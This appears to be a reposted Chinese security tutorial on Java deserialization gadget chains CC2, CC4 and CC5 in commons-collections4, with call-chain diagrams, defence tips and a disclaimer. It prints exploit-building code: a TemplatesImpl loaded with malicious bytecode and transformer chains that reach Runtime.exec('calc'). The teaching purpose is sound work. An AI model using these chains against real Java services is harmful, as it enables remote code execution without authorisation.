文章总结: 本文详解Java反序列化漏洞中CommonsCollections4的CC2、CC4、CC5利用链原理。通过剖析PriorityQueue等触发逻辑,提供完整代码实现,总结Gadget构造三要素:找入口、控数据流、引执行。文章兼具攻击构造与防御建议,指导读者掌握手搓Gadget的实战技能。 综合评分: 92 文章分类: 漏洞分析,漏洞POC,实战经验
第110天-Java安全攻防:从0到1手搓Commons Collections Gadget (CC2/CC4/CC5)
原创
Сяо Яо Сяо Яо
AlphaNet
2026年3月26日 16:57 韩国
🚀 引言:为什么高手都懂Gadget Chain?
哈喽,各位未来的安全大佬们!在Java安全的世界里,“反序列化漏洞”绝对是绕不开的经典话题。我们之前聊过 commons-collections 3.x 版本的利用链,但技术的脚步从未停歇。当应用升级到 commons-collections 4.x 版本后,旧的攻击方式失效了,新的挑战也随之而来。
很多同学在学习时,习惯于直接使用 ysoserial 工具一键生成Payload,这当然很方便。但真正的安全研究者,不仅知其然,更知其所以然。他们能够手动构造(手搓)Gadget Chain,根据目标环境的差异,灵活调整甚至创造新的利用方式。
这篇硬核干货,就带你深入 commons-collections4 内部,彻底搞懂 CC2、CC4、CC5 三条经典 Gadget 链的底层原理。
🧐 是什么:CC2、CC4、CC5 Gadget Chain简介
-
CC2:基于
PriorityQueue+TransformingComparator+InvokerTransformer -
CC4:CC2变体,使用
InstantiateTransformer -
CC5:基于
BadAttributeValueExpException+LazyMap
👉 本质:
利用反序列化 → 触发方法调用链 → 最终执行恶意代码
💥 为什么:Gadget链是如何被触发的?
⚙️ CC2 核心触发逻辑
PriorityQueue.readObject()
→ heapify()
→ siftDown()
→ comparator.compare()
→ TransformingComparator
→ InvokerTransformer
→ TemplatesImpl.newTransformer()
→ RCE
👉 核心点:
利用 PriorityQueue 在反序列化时自动排序触发 compare()
⚙️ CC4(更隐蔽)
区别:
-
不直接反射调用方法
-
改为 实例化恶意类
ConstantTransformer → TrAXFilter.class
InstantiateTransformer → new TrAXFilter()
→ TemplatesImpl → RCE
👉 优点:绕过部分检测机制
⚙️ CC5(经典变种)
BadAttributeValueExpException.readObject()
→ toString()
→ TiedMapEntry
→ LazyMap.get()
→ ChainedTransformer
→ Runtime.exec()
👉 核心点:
利用 toString() 触发漏洞(非常隐蔽)
🛠️ 怎么做:核心代码拆解(全部支持横向滚动)
📦 依赖配置
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
⚙️ 反射工具方法
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
💣 构造 TemplatesImpl(核心弹头)
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecodes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
⚙️ CC2:InvokerTransformer
InvokerTransformer invokerTransformer = new InvokerTransformer(
"newTransformer",
new Class[]{},
new Object[]{}
);
⚙️ CC4:InstantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
⚙️ CC5:ChainedTransformer(命令执行链)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
🧠 深度理解(真正高手看这里)
Gadget链本质是三件事:
1️⃣ 找入口(Entry Point)
-
readObject() -
toString() -
compare()
2️⃣ 控制数据流
-
Map
-
Queue
-
Comparator
3️⃣ 引导执行危险操作
-
反射调用
-
类加载
-
命令执行
👉 一句话总结:
反序列化漏洞 = 可控对象图 + 可触发方法 + 可执行路径
🛡️ 防御建议(必须掌握)
-
❌ 禁止反序列化不可信数据
-
✅ 使用白名单(ObjectInputFilter)
-
❌ 移除危险类(TemplatesImpl)
-
✅ 升级依赖版本
-
✅ 使用安全框架(Jackson safe mode)
✨ 总结
| 链 | 特点 | | — | — | | CC2 | PriorityQueue 触发 | | CC4 | 实例化绕过 | | CC5 | toString 隐蔽触发 |
🤔 思考题(拉开差距)
👉 如果入口换成:
-
HashMap -
Hashtable
还能不能打?
👉 提示:
看看 readObject() + put() + hash() 调用链
💬 结尾
如果你能:
-
手写 CC2/CC4/CC5
-
理解调用链
-
自己拼 Gadget
那你已经超过 90% 的人了。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet Сяо Яо Сяо Яо《第110天-Java安全攻防:从0到1手搓Commons Collections Gadget (CC2/CC4/CC5)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论